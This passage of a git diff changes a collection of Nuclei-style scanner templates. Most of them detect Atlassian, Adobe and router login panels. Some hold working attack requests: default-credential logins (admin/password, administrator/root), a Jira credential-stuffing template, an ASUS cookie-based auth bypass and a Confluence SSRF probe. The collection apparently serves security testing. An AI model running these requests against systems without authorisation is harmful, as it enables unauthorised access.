' + - 'Atlassian Confluence ([a-z0-9-._]+)' \ No newline at end of file diff --git a/poc/atlassian/confluence-detect-1188.yaml b/poc/atlassian/confluence-detect-1188.yaml deleted file mode 100644 index b860a53f8f..0000000000 --- a/poc/atlassian/confluence-detect-1188.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: confluence-detect - -info: - name: Confluence Detect - author: philippedelteil - severity: info - description: Allows you to detect Atlassian Confluence instances - metadata: - shodan-query: http.component:"Atlassian Confluence" - tags: tech,confluence,atlassian - -requests: - - method: GET - path: - - "{{BaseURL}}" - - "{{BaseURL}}/pages" - - "{{BaseURL}}/confluence" - - "{{BaseURL}}/wiki" - - redirects: true - stop-at-first-match: true - matchers-condition: or - matchers: - - type: word - part: header - words: - - '-confluence-' - case-insensitive: true - - - type: word - part: body - words: - - 'confluence-base-url' - - extractors: - - type: regex - part: body - group: 1 - regex: - - '' - - 'Atlassian Confluence ([a-z0-9-._]+)' \ No newline at end of file diff --git a/poc/atlassian/confluence-ssrf-sharelinks-1190.yaml b/poc/atlassian/confluence-ssrf-sharelinks-1193.yaml similarity index 100% rename from poc/atlassian/confluence-ssrf-sharelinks-1190.yaml rename to poc/atlassian/confluence-ssrf-sharelinks-1193.yaml diff --git a/poc/atlassian/confluence-ssrf-sharelinks.yaml b/poc/atlassian/confluence-ssrf-sharelinks.yaml deleted file mode 100644 index 7e693c969d..0000000000 --- a/poc/atlassian/confluence-ssrf-sharelinks.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: confluence-ssrf-sharelinks - -info: - name: Confluence SSRF in sharelinks - author: TechbrunchFR - severity: medium - description: Vulnerable should be Confluence versions released from 2016 November and older - reference: - - https://bitbucket.org/atlassian/confluence-business-blueprints/pull-requests/144/issue-60-conf-45342-ssrf-in-sharelinks - - https://github.com/assetnote/blind-ssrf-chains#confluence - metadata: - shodan-query: http.component:"Atlassian Confluence" - tags: confluence,atlassian,ssrf,oast - -requests: - - method: GET - path: - - '{{BaseURL}}/rest/sharelinks/1.0/link?url=https://{{interactsh-url}}/' - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - - - type: word - part: body - words: - - "faviconURL" - - "domain" - condition: and - - - type: status - status: - - 200 \ No newline at end of file diff --git a/poc/atlassian/jira-detect-8314.yaml b/poc/atlassian/jira-detect-8314.yaml index 15c0eed570..4f24793ad5 100644 --- a/poc/atlassian/jira-detect-8314.yaml +++ b/poc/atlassian/jira-detect-8314.yaml @@ -1,22 +1,12 @@ id: jira-detect info: - name: Jira Detect - author: pdteam,philippedelteil,AdamCrosser + name: Detect Jira Issue Management Software + author: pdteam,philippedelteil severity: info - description: Jira login panel was detected. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 - metadata: - max-request: 3 - vendor: atlassian - product: jira - category: productivity - tags: tech,panel,jira,atlassian + tags: panel,jira -http: +requests: - method: GET path: - "{{BaseURL}}/secure/Dashboard.jspa" @@ -24,7 +14,7 @@ http: - "{{BaseURL}}/login.jsp" stop-at-first-match: true - host-redirects: true + redirects: true max-redirects: 2 matchers: - type: word @@ -37,5 +27,3 @@ http: group: 1 regex: - 'title="JiraVersion" value="([0-9.]+)' - -# digest: 490a0046304402203f99e71e0681c665e3475c12a94f49aa95b84a20350aa939aaa56fb1da3f245b022054dbaf3c59f30928faa87819f2adc87784b746dae1e058bcaf38210a1bfa597d:922c64590222798bb761d5b6d8e72950 diff --git a/poc/atlassian/jira-detect-8316.yaml b/poc/atlassian/jira-detect-8316.yaml deleted file mode 100644 index 1816dae07e..0000000000 --- a/poc/atlassian/jira-detect-8316.yaml +++ /dev/null @@ -1,14 +0,0 @@ -id: jira-detect -info: - name: Detect Jira Issue Management Software - author: bauthard - severity: info -requests: - - method: GET - path: - - "{{BaseURL}}/secure/Dashboard.jspa" - - "{{BaseURL}}/jira/secure/Dashboard.jspa" - matchers: - - type: word - words: - - "Project Management Software" diff --git a/poc/atlassian/jira-login-default.yaml b/poc/atlassian/jira-login-default.yaml index d3d14b37e6..4b34037e6d 100644 --- a/poc/atlassian/jira-login-default.yaml +++ b/poc/atlassian/jira-login-default.yaml @@ -8,10 +8,10 @@ info: reference: - https://owasp.org/www-community/attacks/Credential_stuffing metadata: - max-request: 1 shodan-query: http.component:"Atlassian Jira" fofa-query: product="JIRA" tags: login-check,jira,creds-stuffing,self-hosted + variables: username: "{{username}}" password: "{{password}}" @@ -32,8 +32,8 @@ http: dsl: - username - password - attack: pitchfork + attack: pitchfork matchers-condition: and matchers: - type: word @@ -43,6 +43,4 @@ http: - type: status status: - - 200 - -# digest: 4a0a0047304502201b101496c1854e349bf95753e7cdfb3343d8599dc26efb543e4c3ceb2bb95e1f0221008648d8f4932d84b324ff6a350ea792a0ef1ef91a393292f43082173ccbb99a54:922c64590222798bb761d5b6d8e72950 + - 200 \ No newline at end of file diff --git a/poc/atlassian/jira-service-desk-signup-8317.yaml b/poc/atlassian/jira-service-desk-signup-8317.yaml deleted file mode 100644 index 558b3ff970..0000000000 --- a/poc/atlassian/jira-service-desk-signup-8317.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: jira-service-desk-signup -info: - name: Jira Service Desk Signup - author: TechbrunchFR - severity: medium - tags: jira,atlassian -requests: - - method: POST - path: - - "{{BaseURL}}/servicedesk/customer/user/signup" - headers: - Content-Type: application/json - body: '{"email":"invalid","signUpContext":{},"secondaryEmail":"","usingNewUi":true}' - matchers-condition: and - matchers: - - type: word - words: - - "signup.validation.errors" - - type: status - status: - - 400 diff --git a/poc/atlassian/jira-service-desk-signup-8320.yaml b/poc/atlassian/jira-service-desk-signup-8320.yaml index 6604106545..558b3ff970 100644 --- a/poc/atlassian/jira-service-desk-signup-8320.yaml +++ b/poc/atlassian/jira-service-desk-signup-8320.yaml @@ -3,6 +3,7 @@ info: name: Jira Service Desk Signup author: TechbrunchFR severity: medium + tags: jira,atlassian requests: - method: POST path: diff --git a/poc/atlassian/jira-service-desk-signup-8321.yaml b/poc/atlassian/jira-service-desk-signup-8321.yaml new file mode 100644 index 0000000000..6604106545 --- /dev/null +++ b/poc/atlassian/jira-service-desk-signup-8321.yaml @@ -0,0 +1,20 @@ +id: jira-service-desk-signup +info: + name: Jira Service Desk Signup + author: TechbrunchFR + severity: medium +requests: + - method: POST + path: + - "{{BaseURL}}/servicedesk/customer/user/signup" + headers: + Content-Type: application/json + body: '{"email":"invalid","signUpContext":{},"secondaryEmail":"","usingNewUi":true}' + matchers-condition: and + matchers: + - type: word + words: + - "signup.validation.errors" + - type: status + status: + - 400 diff --git a/poc/atlassian/jira-unauthenticated-dashboards-8324.yaml b/poc/atlassian/jira-unauthenticated-dashboards-8324.yaml deleted file mode 100644 index fbc9736afa..0000000000 --- a/poc/atlassian/jira-unauthenticated-dashboards-8324.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: jira-unauthenticated-dashboards -# If public sharing is ON it allows users to share dashboards and filters with all users including -# those that are not logged in. Those dashboard and filters could reveal potentially sensitive information. -info: - name: Jira Unauthenticated Dashboards - author: TechbrunchFR - severity: Info -requests: - - method: GET - path: - - "{{BaseURL}}/rest/api/2/dashboard?maxResults=100" - matchers: - - type: word - words: - - 'dashboards' - - 'startAt' - - 'maxResults' - condition: and - -# Remediation: -# Ensure that this permission is restricted to specific groups that require it. -# You can restrict it in Administration > System > Global Permissions. -# Turning the feature off will not affect existing filters and dashboards. -# If you change this setting, you will still need to update the existing filters and dashboards if they have already been -# shared publicly. -# Since Jira 7.2.10, a dark feature to disable site-wide anonymous access was introduced. diff --git a/poc/atlassian/jira-unauthenticated-dashboards-8326.yaml b/poc/atlassian/jira-unauthenticated-dashboards-8326.yaml new file mode 100644 index 0000000000..c07f287060 --- /dev/null +++ b/poc/atlassian/jira-unauthenticated-dashboards-8326.yaml @@ -0,0 +1,30 @@ +id: jira-unauthenticated-dashboards + +# If public sharing is ON it allows users to share dashboards and filters with all users including +# those that are not logged in. Those dashboards and filters could reveal potentially sensitive information. + +info: + name: Jira Unauthenticated Dashboards + author: TechbrunchFR + severity: info + tags: atlassian,jira + +requests: + - method: GET + path: + - "{{BaseURL}}/rest/api/2/dashboard?maxResults=100" + matchers: + - type: word + words: + - 'dashboards' + - 'startAt' + - 'maxResults' + condition: and + +# Remediation: +# Ensure that this permission is restricted to specific groups that require it. +# You can restrict it in Administration > System > Global Permissions. +# Turning the feature off will not affect existing filters and dashboards. +# If you change this setting, you will still need to update the existing filters and dashboards if they have already been +# shared publicly. +# Since Jira 7.2.10, a dark feature to disable site-wide anonymous access was introduced. diff --git a/poc/atlassian/jira-unauthenticated-installed-gadgets-8328.yaml b/poc/atlassian/jira-unauthenticated-installed-gadgets-8328.yaml index 58e5fb36b6..bb38dd61ea 100644 --- a/poc/atlassian/jira-unauthenticated-installed-gadgets-8328.yaml +++ b/poc/atlassian/jira-unauthenticated-installed-gadgets-8328.yaml @@ -1,31 +1,21 @@ id: jira-unauthenticated-installed-gadgets - info: name: Jira Unauthenticated Installed gadgets author: philippedelteil severity: info description: Some Jira instances allow to read the installed gadgets (sometimes it's also possible to read config xml file for some gadgets) - metadata: - max-request: 1 - shodan-query: http.component:"Atlassian Jira" tags: atlassian,jira - -http: +requests: - method: GET path: - "{{BaseURL}}/rest/config/1.0/directory" - - host-redirects: true + redirects: true max-redirects: 2 - matchers-condition: and matchers: - type: word words: - 'jaxbDirectoryContents' - - type: status status: - 200 - -# digest: 4a0a0047304502210099f7859c8f6312ba07f43ba7d80b6ced1937f1ffc2ae555b1ae5d11f1cdc797d02207e68b09ecc7c8f7767224d8b8e07d539a312323747af7ba36059c9c5bdb4a5c9:922c64590222798bb761d5b6d8e72950 diff --git a/poc/atlassian/jira-unauthenticated-installed-gadgets-8330.yaml b/poc/atlassian/jira-unauthenticated-installed-gadgets-8330.yaml deleted file mode 100644 index da56b71092..0000000000 --- a/poc/atlassian/jira-unauthenticated-installed-gadgets-8330.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: jira-unauthenticated-installed-gadgets - -info: - name: Jira Unauthenticated Installed gadgets - author: philippedelteil - severity: info - description: Some Jira instances allow to read the installed gadgets (sometimes it's also possible to read config xml file for some gadgets) - tags: atlassian,jira - -requests: - - method: GET - path: - - "{{BaseURL}}/rest/config/1.0/directory" - - redirects: true - max-redirects: 2 - matchers-condition: and - matchers: - - type: word - words: - - 'jaxbDirectoryContents' - - - type: status - status: - - 200 diff --git a/poc/atlassian/jira-unauthenticated-popular-filters-8331.yaml b/poc/atlassian/jira-unauthenticated-popular-filters-8331.yaml new file mode 100644 index 0000000000..0049e91b4e --- /dev/null +++ b/poc/atlassian/jira-unauthenticated-popular-filters-8331.yaml @@ -0,0 +1,23 @@ +id: jira-unauthenticated-popular-filters + +info: + name: Jira Unauthenticated Popular Filters + author: TechbrunchFR + severity: Info + +requests: + - method: GET + path: + - "{{BaseURL}}/secure/ManageFilters.jspa?filter=popular&filterView=popular" + matchers: + - type: word + words: + - 'filterlink_' + +# Remediation: +# Ensure that this permission is restricted to specific groups that require it. +# You can restrict it in Administration > System > Global Permissions. +# Turning the feature off will not affect existing filters and dashboards. +# If you change this setting, you will still need to update the existing filters and dashboards if they have already been +# shared publicly. +# Since Jira 7.2.10, a dark feature to disable site-wide anonymous access was introduced. diff --git a/poc/atlassian/jira-unauthenticated-popular-filters.yaml b/poc/atlassian/jira-unauthenticated-popular-filters.yaml index 6fbda02ff3..304d20f9a0 100644 --- a/poc/atlassian/jira-unauthenticated-popular-filters.yaml +++ b/poc/atlassian/jira-unauthenticated-popular-filters.yaml @@ -1,8 +1,9 @@ -id: jira-unauthenticated-popular-filters +id: jira-unauth-popular-filters info: name: Jira Unauthenticated Popular Filters author: TechbrunchFR - severity: Info + severity: info + tags: atlassian,jira requests: - method: GET path: diff --git a/poc/atlassian/jira-unauthenticated-projectcategories.yaml b/poc/atlassian/jira-unauthenticated-projectcategories.yaml deleted file mode 100644 index 9548c4ed23..0000000000 --- a/poc/atlassian/jira-unauthenticated-projectcategories.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: jira-unauthenticated-projectcategories -info: - name: Jira Unauthenticated Project Categories - author: TESS - severity: info - tags: atlassian,jira -requests: - - method: GET - path: - - "{{BaseURL}}/rest/api/2/projectCategory?maxResults=1000" - matchers-condition: and - matchers: - - type: word - words: - - 'self' - - 'description' - - 'name' - condition: and - - type: status - status: - - 200 - - type: word - part: header - words: - - "atlassian.xsrf.token" diff --git a/poc/atlassian/jira-unauthenticated-projects-8335.yaml b/poc/atlassian/jira-unauthenticated-projects-8335.yaml deleted file mode 100644 index b23471572b..0000000000 --- a/poc/atlassian/jira-unauthenticated-projects-8335.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: jira-unauthenticated-projects - -info: - name: Jira Unauthenticated Projects - author: TechbrunchFR - severity: info - metadata: - max-request: 1 - shodan-query: http.component:"Atlassian Jira" - tags: atlassian,jira - -http: - - method: GET - path: - - "{{BaseURL}}/rest/api/2/project?maxResults=100" - - matchers: - - type: word - words: - - 'projects' - - 'startAt' - - 'maxResults' - condition: and - -# digest: 4a0a004730450220581d4459c98b3cfe9cc69310f86ad76f7a88cb5c8a633dba698cba5532551df002210099aed0a0def6d0deb8d063f466818d4c08fbbf1fb7576900d783852fb16c3ed5:922c64590222798bb761d5b6d8e72950 diff --git a/poc/atlassian/jira-unauthenticated-projects.yaml b/poc/atlassian/jira-unauthenticated-projects.yaml new file mode 100644 index 0000000000..feb60dc794 --- /dev/null +++ b/poc/atlassian/jira-unauthenticated-projects.yaml @@ -0,0 +1,16 @@ +id: jira-unauthenticated-projects +info: + name: Jira Unauthenticated Projects + author: TechbrunchFR + severity: Info +requests: + - method: GET + path: + - "{{BaseURL}}/rest/api/2/project?maxResults=100" + matchers: + - type: word + words: + - 'projects' + - 'startAt' + - 'maxResults' + condition: and diff --git a/poc/atlassian/jira-unauthenticated-user-picker-8341.yaml b/poc/atlassian/jira-unauthenticated-user-picker-8341.yaml deleted file mode 100644 index 0ce9858072..0000000000 --- a/poc/atlassian/jira-unauthenticated-user-picker-8341.yaml +++ /dev/null @@ -1,14 +0,0 @@ -id: jira-unauthenticated-user-picker -info: - name: Jira Unauthenticated User Picker - author: TechbrunchFR - severity: info - tags: atlassian,jira -requests: - - method: GET - path: - - "{{BaseURL}}/secure/popups/UserPickerBrowser.jspa" - matchers: - - type: word - words: - - 'user-picker' diff --git a/poc/auth/3Com-wireless-default-login.yaml b/poc/auth/3Com-wireless-default-login.yaml new file mode 100644 index 0000000000..321a07e084 --- /dev/null +++ b/poc/auth/3Com-wireless-default-login.yaml @@ -0,0 +1,52 @@ +id: 3Com-wireless-default-login + +info: + name: 3Com Wireless 8760 Dual Radio - Default Login + author: ritikchaddha + severity: high + description: | + 3COM Wireless 8760 Dual Radio contains a default login vulnerability. Default admin login password 'password' was found. + reference: + - https://www.speedguide.net/routers/3com-wl-546-3com-wireless-8760-dual-radio-11abg-1256 + metadata: + max-request: 1 + fofa-query: title="3COM" + tags: default-login,3com + +http: + - raw: + - | + POST /index.htm HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + userid={{username}}&passwd={{password}}&Submit=LOGIN + + - | + POST /login.html HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}&password={{password}} + + stop-at-first-match: true + attack: pitchfork + payloads: + username: + - admin + password: + - password + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'alt="Advanced Configuration"' + - 'image/setup_wizard' + condition: and + + - type: status + status: + - 200 +# digest: 4b0a00483046022100a7a5661481f35e84ca927a1574e6a7b1b27ccb361354be2361a526339dec9a5502210098c54dbb1de14bbe6bc295ca69566df20d65ab0b3bb0f9ffcdf3f8815c7684cc:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/AVTECH-login-bypass.yaml b/poc/auth/AVTECH-login-bypass.yaml index a92a77b6e9..5319f73458 100644 --- a/poc/auth/AVTECH-login-bypass.yaml +++ b/poc/auth/AVTECH-login-bypass.yaml @@ -1,10 +1,12 @@ id: AVTECH-login-bypass + info: name: AVTECH 登录绕过 author: Str1am severity: critical reference: https://www.seebug.org/vuldb/ssvid-92494 tags: AVTECH,login,bypass + requests: - method: GET path: diff --git a/poc/auth/GT-AC2900-login.yaml b/poc/auth/GT-AC2900-login.yaml index bb0175987d..4ffa4405a7 100644 --- a/poc/auth/GT-AC2900-login.yaml +++ b/poc/auth/GT-AC2900-login.yaml @@ -1,16 +1,19 @@ id: GT-AC2900-login + info: name: GT-AC2900 登录绕过 author: Str1am severity: critical reference: https://github.com/atredispartners/advisories/blob/master/ATREDIS-2020-0010.md tags: AC2900,ASSUS + requests: - raw: - | GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1 Host: {{Hostname}} Cookie: asus_token=\0Invalid; clickedItem_tab=0 + matchers-condition: and matchers: - type: status @@ -20,4 +23,4 @@ requests: words: - "get_cfg_clientlist" part: body - condition: and + condition: and \ No newline at end of file diff --git a/poc/auth/JeeSite-default-login.yaml b/poc/auth/JeeSite-default-login.yaml index 43ad9321e7..f737242f41 100644 --- a/poc/auth/JeeSite-default-login.yaml +++ b/poc/auth/JeeSite-default-login.yaml @@ -1,9 +1,11 @@ id: JeeSite-default-login + info: name: JeeSite默认密码 author: Str1am severity: high tags: JeeSite,login + requests: - raw: - | @@ -13,6 +15,7 @@ requests: Content-Type: application/x-www-form-urlencoded; charset=UTF-8 username=F3EDC7D2C193E0B8DCF554C726719ED2&password=235880C505ACCDA5C581A4F4CDB81DA0&validCode= + matchers-condition: and matchers: - type: status @@ -22,4 +25,4 @@ requests: words: - "登录成功" part: body - condition: and + condition: and \ No newline at end of file diff --git a/poc/auth/Mantis-Default_login.yaml b/poc/auth/Mantis-Default_login.yaml deleted file mode 100644 index 079862ba31..0000000000 --- a/poc/auth/Mantis-Default_login.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: mantisbt-default-credential - -info: - name: MantisBT Default Admin Login - author: For3stCo1d - severity: high - description: A MantisBT default admin login was discovered. - reference: - - https://mantisbt.org/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - metadata: - max-request: 1 - shodan-query: title:"MantisBT" - tags: mantisbt,default-login - -http: - - raw: - - | - POST /login.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - return=index.php&username={{user}}&password={{pass}} - - attack: pitchfork - payloads: - user: - - administrator - pass: - - root - - matchers-condition: and - matchers: - - type: dsl - dsl: - - contains(tolower(header), 'mantis_secure_session') - - contains(tolower(header), 'mantis_string_cookie') - condition: and - - - type: status - status: - - 302 - -# digest: 490a0046304402205e3ba9080530721f7904ce8e6d98318f860b18d800d06370ccfd841b5de6ee8402201f73aac2837cd43bb2116deeddecd4ec504277ed0698a77d7c40c2a67bcf78b7:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/acemanager-login-23.yaml b/poc/auth/acemanager-login-23.yaml new file mode 100644 index 0000000000..cb22a52d84 --- /dev/null +++ b/poc/auth/acemanager-login-23.yaml @@ -0,0 +1,32 @@ +id: acemanager-login + +info: + name: ACEmanager detect + author: pussycat0x + severity: info + metadata: + fofa-dork: 'app="ACEmanager"' + tags: panel,login,tech,acemanager + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '::: ACEmanager :::' + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + regex: + - 'ALEOS Version ([0-9.]+) \| Copyright &co' diff --git a/poc/auth/acemanager-login-25.yaml b/poc/auth/acemanager-login-25.yaml index 65b6f444c9..4e352fe09e 100644 --- a/poc/auth/acemanager-login-25.yaml +++ b/poc/auth/acemanager-login-25.yaml @@ -5,14 +5,11 @@ info: author: pussycat0x severity: info description: ACEManager was detected. ACEManager is a configuration and diagnostic tool for the Sierra Wireless AirLink Raven modems. - metadata: - fofa-dork: 'app="ACEmanager"' - tags: panel,login,tech,acemanager classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0.0 - cve-id: cwe-id: CWE-200 + metadata: + fofa-dork: app="ACEmanager" + tags: panel,login,tech,acemanager requests: - method: GET diff --git a/poc/auth/activemq-default-login-47.yaml b/poc/auth/activemq-default-login-44.yaml similarity index 100% rename from poc/auth/activemq-default-login-47.yaml rename to poc/auth/activemq-default-login-44.yaml diff --git a/poc/auth/adobe-component-login-89.yaml b/poc/auth/adobe-component-login-89.yaml new file mode 100644 index 0000000000..9b423f9a58 --- /dev/null +++ b/poc/auth/adobe-component-login-89.yaml @@ -0,0 +1,32 @@ +id: adobe-coldfusion-login + +info: + name: Adobe ColdFusion Component Browser Login Panel + author: dhiyaneshDK + description: An Adobe ColdFusion Component Browser login panel was detected. + severity: info + reference: + - https://www.exploit-db.com/ghdb/6846 + tags: panel,adobe,coldfusion + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0.0 + cve-id: + cwe-id: CWE-200 + +requests: + - method: GET + path: + - '{{BaseURL}}/CFIDE/componentutils/login.cfm' + - '{{BaseURL}}/cfide/componentutils/login.cfm' + + matchers-condition: and + matchers: + - type: word + words: + - 'Component Browser Login' + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/20 diff --git a/poc/auth/adobe-component-login-90.yaml b/poc/auth/adobe-component-login-90.yaml deleted file mode 100644 index 1d46e94118..0000000000 --- a/poc/auth/adobe-component-login-90.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: adobe-coldfusion-login - -info: - name: Adobe ColdFusion Component Browser Login Panel - author: dhiyaneshDK - severity: info - description: An Adobe ColdFusion Component Browser login panel was detected. - reference: - - https://www.exploit-db.com/ghdb/6846 - classification: - cwe-id: CWE-200 - metadata: - shodan-query: http.component:"Adobe ColdFusion" - tags: panel,adobe,coldfusion - -requests: - - method: GET - path: - - '{{BaseURL}}/CFIDE/componentutils/login.cfm' - - '{{BaseURL}}/cfide/componentutils/login.cfm' - - matchers-condition: and - matchers: - - type: word - words: - - 'Component Browser Login' - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/20 diff --git a/poc/auth/adobe-component-login.yaml b/poc/auth/adobe-component-login.yaml index 9b423f9a58..8ae7641799 100644 --- a/poc/auth/adobe-component-login.yaml +++ b/poc/auth/adobe-component-login.yaml @@ -3,18 +3,18 @@ id: adobe-coldfusion-login info: name: Adobe ColdFusion Component Browser Login Panel author: dhiyaneshDK - description: An Adobe ColdFusion Component Browser login panel was detected. severity: info + description: An Adobe ColdFusion Component Browser login panel was detected. reference: - https://www.exploit-db.com/ghdb/6846 - tags: panel,adobe,coldfusion classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0.0 - cve-id: cwe-id: CWE-200 + metadata: + max-request: 2 + shodan-query: http.component:"Adobe ColdFusion" + tags: panel,adobe,coldfusion,edb -requests: +http: - method: GET path: - '{{BaseURL}}/CFIDE/componentutils/login.cfm' @@ -25,8 +25,9 @@ requests: - type: word words: - 'Component Browser Login' + - type: status status: - 200 -# Enhanced by mp on 2022/03/20 +# digest: 4b0a00483046022100ba657b03f337ba840c4e3f68fd52b67f39aa4e411ab302c57f369b409f3bb2ec0221008fff314071fae9bd1e57b791e0fbee233b61e25b2637db47a2ae5936c9a954c9:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/adobe-connect-central-login-93.yaml b/poc/auth/adobe-connect-central-login-93.yaml new file mode 100644 index 0000000000..fdaf816057 --- /dev/null +++ b/poc/auth/adobe-connect-central-login-93.yaml @@ -0,0 +1,33 @@ +id: adobe-connect-central-login + +info: + name: Adobe Connect Central Login Panel + author: dhiyaneshDk + description: An Adobe Connect Central login panel was detected. + severity: info + tags: adobe,panel,connect-central + reference: + - https://www.adobe.com/products/adobeconnect.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0.0 + cve-id: + cwe-id: CWE-200 + +requests: + - method: GET + path: + - "{{BaseURL}}/system/login" + + matchers-condition: and + matchers: + - type: word + words: + - 'Adobe Connect Central Login' + part: body + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/20 diff --git a/poc/auth/adobe-connect-central-login-97.yaml b/poc/auth/adobe-connect-central-login-97.yaml deleted file mode 100644 index 1218c9f8d7..0000000000 --- a/poc/auth/adobe-connect-central-login-97.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: adobe-connect-central-login - -info: - name: Adobe Connect Central Login - author: dhiyaneshDk - severity: info - tags: adobe,panel - -requests: - - method: GET - path: - - "{{BaseURL}}/system/login" - - matchers-condition: and - matchers: - - type: word - words: - - 'Adobe Connect Central Login' - part: body - - - type: status - status: - - 200 diff --git a/poc/auth/adobe-connect-central-login.yaml b/poc/auth/adobe-connect-central-login.yaml index efbb0d1e8f..1218c9f8d7 100644 --- a/poc/auth/adobe-connect-central-login.yaml +++ b/poc/auth/adobe-connect-central-login.yaml @@ -1,19 +1,12 @@ id: adobe-connect-central-login info: - name: Adobe Connect Central Login Panel + name: Adobe Connect Central Login author: dhiyaneshDk severity: info - description: An Adobe Connect Central login panel was detected. - reference: - - https://www.adobe.com/products/adobeconnect.html - classification: - cwe-id: CWE-200 - metadata: - max-request: 1 - tags: adobe,panel,connect-central + tags: adobe,panel -http: +requests: - method: GET path: - "{{BaseURL}}/system/login" @@ -28,5 +21,3 @@ http: - type: status status: - 200 - -# digest: 490a00463044022022b5794732a33194d5b4d44da887ecaeb96b05c239c162afcf21c7a7c752e0ac022042c44f3116cfe5a503240785509d78880bb849f0fdfb10e19f37e184b7aaeecc:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/adobe-experience-manager-login-105.yaml b/poc/auth/adobe-experience-manager-login-105.yaml new file mode 100644 index 0000000000..4dbdef1e18 --- /dev/null +++ b/poc/auth/adobe-experience-manager-login-105.yaml @@ -0,0 +1,33 @@ +id: adobe-experience-manager-login + +info: + name: Adobe Experience Manager Login Panel + author: dhiyaneshDK + description: An Adobe Experience Manager login panel was detected. + severity: info + reference: + - https://www.shodan.io/search?query=http.title%3A%22AEM+Sign+In%22 + - https://business.adobe.com/products/experience-manager/adobe-experience-manager.html + tags: panel,aem,adobe + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0.0 + cve-id: + cwe-id: CWE-200 + +requests: + - method: GET + path: + - '{{BaseURL}}/libs/granite/core/content/login.html' + + matchers-condition: and + matchers: + - type: word + words: + - 'AEM Sign In' + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/20 diff --git a/poc/auth/adobe-experience-manager-login-106.yaml b/poc/auth/adobe-experience-manager-login-106.yaml deleted file mode 100644 index 2162a6646f..0000000000 --- a/poc/auth/adobe-experience-manager-login-106.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: adobe-experience-manager-login - -info: - name: Adobe-Experience-Manager - author: dhiyaneshDK - severity: info - reference: https://www.shodan.io/search?query=http.title%3A%22AEM+Sign+In%22 - tags: panel,aem,adobe - -requests: - - method: GET - path: - - '{{BaseURL}}/libs/granite/core/content/login.html' - - matchers-condition: and - matchers: - - type: word - words: - - 'AEM Sign In' - - - type: status - status: - - 200 diff --git a/poc/auth/adobe-experience-manager-login-109.yaml b/poc/auth/adobe-experience-manager-login-109.yaml index 4dbdef1e18..9148cd29f0 100644 --- a/poc/auth/adobe-experience-manager-login-109.yaml +++ b/poc/auth/adobe-experience-manager-login-109.yaml @@ -3,17 +3,15 @@ id: adobe-experience-manager-login info: name: Adobe Experience Manager Login Panel author: dhiyaneshDK - description: An Adobe Experience Manager login panel was detected. severity: info + description: An Adobe Experience Manager login panel was detected. reference: - - https://www.shodan.io/search?query=http.title%3A%22AEM+Sign+In%22 - https://business.adobe.com/products/experience-manager/adobe-experience-manager.html - tags: panel,aem,adobe classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0.0 - cve-id: cwe-id: CWE-200 + metadata: + shodan-query: http.title:"AEM Sign In" + tags: panel,aem,adobe requests: - method: GET diff --git a/poc/auth/aem-default-login-141.yaml b/poc/auth/aem-default-login-140.yaml similarity index 100% rename from poc/auth/aem-default-login-141.yaml rename to poc/auth/aem-default-login-140.yaml diff --git a/poc/auth/aem-default-login.yaml b/poc/auth/aem-default-login.yaml deleted file mode 100644 index 8072025a73..0000000000 --- a/poc/auth/aem-default-login.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: aem-default-login - -info: - name: Adobe AEM Default Login - author: random-robbie - severity: high - description: Adobe AEM default login credentials were discovered. - reference: - - https://experienceleague.adobe.com/docs/experience-manager-64/administering/security/security-checklist.html?lang=en - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - tags: aem,default-login,adobe - - -requests: - - raw: - - | - POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - Origin: {{BaseURL}} - Referer: {{BaseURL}}/libs/granite/core/content/login.html - - _charset_=utf-8&j_username={{aem_user}}&j_password={{aem_pass}}&j_validate=true - - attack: pitchfork - 